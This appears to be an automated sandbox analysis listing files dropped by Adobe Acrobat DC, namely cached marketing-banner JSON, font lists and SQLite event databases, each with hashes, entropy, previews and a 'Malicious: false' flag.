SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.375794798104115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJM3g98kUwPeUkwRe9:YvXKXO+vkZc0vgGMbLUkee9
MD5:	C5BF4AFFB088EA1A4F13CCAFF937DD21
SHA1:	8C3A710EB212F65BDD0301135A980D6F3D59FD32
SHA-256:	1902052CE47B18725E3A6DE019834E1AA379C97A3ACD42B9BE253A04E5F202EB
SHA-512:	2028CD6D907B32FB9FB8C246C78E84D084658BC5864A71C02A17E29AD2FE74242A6FC0AAEDF9C225C8653769039527EEB7C979FC372AB65E72DDA0B49E685A10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.32797289880305
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfBoTfXpnrPeUkwRe9:YvXKXO+vkZc0vgGWTfXcUkee9
MD5:	C480BB6356741B716B0C02629DD7FAC0
SHA1:	8E6D1D997D950BB9649B79FAAE5D8C31B9ECD208
SHA-256:	C054F0BBDF8E74C75CC12B0F27730299BE488F57B536160F319024E22850773B
SHA-512:	5A402AC21754DD15FB521D4752026C597A7E3722E8B1E2ECD0241F961E7BD614C91C8EE4246FD246CD305DFC5656D20B3CEE521751D9F5912192571567895B52
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3063722176714805
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfBD2G6UpnrPeUkwRe9:YvXKXO+vkZc0vgGR22cUkee9
MD5:	DA0DDBB03A44BD1C74991A4E6FB47E51
SHA1:	D2EA446E6ED5A26FD0B2EA1AADA4DBCCBD07B50E
SHA-256:	9AE9BE498332C1AB61F8F659C8F608C3D74D629C097DD115D5EAD6B0DB1F2AF3
SHA-512:	A015C1B635917B8959A852980DF73048ABC7105672F9FE35BBB242B054E43FDF121328CF3EC8798FEEA58BC8C67CC936534C2EC7847F629A47ACCD15664FAFF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.363241494186535
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfPmwrPeUkwRe9:YvXKXO+vkZc0vgGH56Ukee9
MD5:	50CCBAF88ABA5477BFFC1ED00CF54115
SHA1:	6BEECC6FBF7FFC4797CFD9E89D8797BFB4F02033
SHA-256:	DD4A1A896FB3643BD720DF035BC3F81F733180BEEFB809385CA642918C8BA36F
SHA-512:	5062B0F938277ED422765E070C1B3151AF879B7E210F62A45DF33F0207840E2D41DB38A3926114E260D9FD21E470E6CDDE44774655D84424EDD8B1013E6B9986
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.691461316333668
Encrypted:	false
SSDEEP:	24:Yv6XPkzv9pLgE9cQx8LennAvzBvkn0RCmK8czOCCSc:YvPVhgy6SAFv5Ah8cv/c
MD5:	5A0F070F6E594C58D4A65BCC3EBB1E06
SHA1:	59F6393A00C3695F8A1A057BFB0D9B1D908828DE
SHA-256:	A9AC67A88C2DB6C8721DB26FEA7C72659204E6DA2AE61C01F1B3580CF3902C9F
SHA-512:	038EF0A5569B197AC56BAFBB943B7F2403A8F98F9D2AC13FB11B7FAF44FA765D24A304ACA7D6BA809E1061FBCAEE1E8D31F24313433A9616303337D66E0549B6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311027329002819
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJf8dPeUkwRe9:YvXKXO+vkZc0vgGU8Ukee9
MD5:	A3FBB990B3C6A61110C8A38D1DB6515F
SHA1:	4840A226519C1ACA3AB4948AECE1AB38766E3AC0
SHA-256:	5975FAC73023C0909D8AC205A60D852DE75DF811B72439D8E6B24507AFCDE510
SHA-512:	672FDC9E15EB6783064447AE4F15EA3CD0EB69E6D0ADC2D132540AA0A1B4B5438081AA49AC009A41985D4A5029E0235463F5914A479AF0D2528EB584646AE572
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.3151054695464754
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfQ1rPeUkwRe9:YvXKXO+vkZc0vgGY16Ukee9
MD5:	FC0118276F33DC865ED3FB5E6987497F
SHA1:	FD5D44F6CE4DF0D51E8B8E8B086F7C9586E05D05
SHA-256:	1C11D6817FB66F536DC997AACA11A97389C15A2B3B6F1CBA647C079BC9CD4DCA
SHA-512:	B30E4BA535CDA243267E1FFC2E405691844AAE67333455B8DD221E0DF878102A2D8ED0AE6A3C883F0DD4163E37214BA2744230C969046EE19B3200A47D1C8B50
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318994475896112
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfFldPeUkwRe9:YvXKXO+vkZc0vgGz8Ukee9
MD5:	2E5307277E95B4736083B01AF51D74A8
SHA1:	154708CAFE4555B0E28E0CDF3B7F1616AE375CF9
SHA-256:	A04D2F9B945BD62020B28F12B2AA44D86309FE5D70A6EC24A3ED9AA1A44CBA85
SHA-512:	32BF8B97AB0AD2A74657BAC90EA8C87EACF9DDB87EA5C686DA39C0E87418CB06E74B44748B0BC7284949C66EE37A0E0DA2EAE6CE786F5DB9CAD60B593E87CA98
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336713857899385
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfzdPeUkwRe9:YvXKXO+vkZc0vgGb8Ukee9
MD5:	FAF875B05A0DA04DF1E95918993A29DD
SHA1:	48136A39115ABC2CA7929630EFE4D1BFE1892B3A
SHA-256:	973083800071AECCE145D072A3065B5F78805913C32E6CE0FF2FD0D6768F9829
SHA-512:	FB158806752951D17F1F6FC312F2A4BEFFD792D58743383FEE65E23ECC8ECE0BD964E5336215C4A285F698E8077D67514F9F2BA8F5D7374194214044CF843DE7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317423995131325
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfYdPeUkwRe9:YvXKXO+vkZc0vgGg8Ukee9
MD5:	5436B17CE551F9E2ABAD9D6D6BBB086C
SHA1:	D065D8173F4760AE40AAC6A40B2D5CD451C37EB6
SHA-256:	25F0E450F520C5DB2DDFD21E8D2F7178E6EC88E4C16D273A970664B1B8E76110
SHA-512:	9DDE3B7FA354C5AAB358F37B22B22D74596A2A60FE0BA8B6222DDD790482F02216A8A020C1F2EE06BE73388AAD42688AA44310D38B1ED47FE44283C6FC339231
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.303463426898821
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJf+dPeUkwRe9:YvXKXO+vkZc0vgG28Ukee9
MD5:	15760A7AAA0E5C45A6FAF29D26280DFE
SHA1:	959B75A64F6BDD01AF8DE5F6D153B5E4D426ED0C
SHA-256:	61A825D6C07DD77171015442E39A5C615A3A5FB047B74CE6E9810AD3F79EDBBD
SHA-512:	36F039CA5D7830E61A65F2514D9F660AFDE35587CCC9453C4F548E01CEEFAC54D6F02D3D2AD411E407EE418C55CB50D2DE9678238D926A4A2CFDA67A2BB22FB9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.30085134026133
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfbPtdPeUkwRe9:YvXKXO+vkZc0vgGDV8Ukee9
MD5:	7BADC70D80601F29FC73D545BE009F23
SHA1:	1352CEA0743380CDD428CC2104A3A0822EB7EB6B
SHA-256:	0485C8D06E7DFABCB231FD9B5C05902037941CBCEF8E5B1C113956A8BDBBA68D
SHA-512:	9CDF5A132D5B682246EE4FA826844410CEF4C6AD0022E646D077C1CA2DC1EF935B25BDE53A272F10E1A335CCE95F52DCB5859F3EB5F6ED5899261362FCBF0461
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.305429586399179
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJf21rPeUkwRe9:YvXKXO+vkZc0vgG+16Ukee9
MD5:	7C3A87C7E99B15F368173EBBE4B2A10F
SHA1:	0B22C596A1C73A5FE302AD971156F8400B830BB7
SHA-256:	24EF7B7994566A67B9AF47C9355B34AC7DB35D69BF9FB132F4D49B89CA2B1CE8
SHA-512:	93BF36EE6A232F0EBF5C577FB7A79647CBD486F51D71BB9418E83A0BA4BFDCAF320D1934CB85AAAB64D900CBEB021A01EFAD132B6A45663A2C92308AB922EBF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.667090760122634
Encrypted:	false
SSDEEP:	24:Yv6XPkzvFamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSc:YvPhBgkDMUJUAh8cvMc
MD5:	73346C554747536B1C1A8C4C15B32C86
SHA1:	B088024388164B4EFE6B5F566757795AD605B2D0
SHA-256:	53FA1858B6331919340F814EB644F8DE40E0584A93BE8D124913201C981A0359
SHA-512:	E21C7188EA005753FF7DD24B2737DA49B3E9DE5BF98B426232FCC2A9A1C75741E5217077971475470A6586A5A6CFDC482D120154B83C84C6044FFC45E475D713
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.279989613122547
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJfshHHrPeUkwRe9:YvXKXO+vkZc0vgGUUUkee9
MD5:	4160130159A13C579FDF6DE98367FBB6
SHA1:	0229AA4DC8AD1E60056BBA8E01BBA5B482CC2982
SHA-256:	A5A7BBDF1F0070BE2ECDD5E75581F626EF262644452C6358B45439674354538A
SHA-512:	DD1B6DA807D877CCF3C9229CCD337D0A48A95AC317A83F881A81B02421FFD930734EF67814027B2DA108D6CCC65F84CD6A76732D379297B61C45D450645DA07F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.284036632952935
Encrypted:	false
SSDEEP:	6:YEQXJ2HXO+DjdVoZcg1vRcR0YgoAvJTqgFCrPeUkwRe9:YvXKXO+vkZc0vgGTq16Ukee9
MD5:	E7BFFBED83813236CD3BEC60EA2495E6
SHA1:	CC83E186A05412327E6457F3911CDAF2B01510B9
SHA-256:	4565480B61A9B35D6869B5108DA937FCDEC61C4200F1F84AD58072E97F26116B
SHA-512:	C46EBE00521570585A8ECB6DB0CDA1D8EABDDD0B5750CF4EB4AF356DB5E2D19C7CE3B2A6B162624AB8A56CE55A16B3CC47AD9534BA6FE20C7074A8C8F3FCCCC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d97b5dc4-5543-4660-a97d-f264f1200283","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736705244837,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138702333634725
Encrypted:	false
SSDEEP:	24:YpSkaMfXayMXztefRfEcLrOK6cjoSj0Sz8Lm9XD2rv2LSdCM+VccsSzqelNR45nx:YpkYFEcpxEL2ev8VccsSzqelsS9i
MD5:	158185D265FE0D3DC583DF9107006017
SHA1:	7768D8090346AFE7D2B6BBE2616E488E1DB4E364
SHA-256:	BCE88637141FF5CF0B129CD9CC72817403A4C62D7D48044F2B32C169D068F86B
SHA-512:	53488A9BD626A7123EBFAA15765496209E9158AA1C0A6D7A383A92581606DF8E7F4C5E868A3EDEC195DED0279B5DCAE1A63FBCEE3B4F77D5594D07397C521E7C
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ccf501e5840d92ba449926a5b18dd728","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736530914000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"ce7905ab948ba76edbb1b868ad1c9d20","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736530914000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"28fc420a3063ee3e62ba16a7dd9a14ef","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736530914000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"9a2aab9bb2a0208da96d8b1517c0a868","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736530914000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"fb38fb3f2bde11d908d3311a4ef55cfc","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736530914000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"0ebf32002581c911ab842b576d99424c","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1887583281842082
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUcYSvR9H9vxFGiDIAEkGVvpoW:lNVmswUUUUUUUUcY+FGSItcW
MD5:	9F0B793C53E421BA7C67384A938E8663
SHA1:	B27990A696DEC291514F22CD6F6D83A044E67360
SHA-256:	8F512C28F7F510ADECF79A9C54E3772D5BD0821053BCD0BAC33947638CF68412
SHA-512:	131A96732A3B5DBA6F791EA5FCD92A254C5FA6540CFF9E2DC9ACF890AFFA3196C88004EA3900FB53597F910DB929F0147C67B49F76CBFED0BBDC68F1AEB1DF33
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.607582069251299
Encrypted:	false
SSDEEP:	48:7MAKUUUUUUUUUUc6vR9H9vxFGiDIAEkGVvzqFl2GL7msG:7UUUUUUUUUUUcGFGSItJKVmsG
MD5:	0BAFC709DFD14BCC46487AE3140FB68B
SHA1:	399F51D7F173B25F910E0168FF7D6D4F8063F1D9
SHA-256:	6631351638FEFB5720805CFDDDBC2143C0A9A795A19E9A116B9D07A597E4C7EF
SHA-512:	03474BD325911953449C91A90EEF07A68859D6726943CF4B4B13B8BE0280016C9163F10C547B3964EF751127665893AD32DD5457B7EBC4C1CFDDA130E2FF82F2
Malicious:	false
Preview:	.... .c.....).J2......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgedfriSGclW9R810DijPx+WqFFYyu:6a6TZ44ADEe1riSGcJ10DMCFK
MD5:	5C6F549D554652C67AC1ED2C8DAE5B58
SHA1:	35F5A30D8DC891BC74AB1834E95AD7ACF788F73A
SHA-256:	D35258F8417D673886065E0874F82FC71B005B5826B53B94775D33AEEA2A83ED
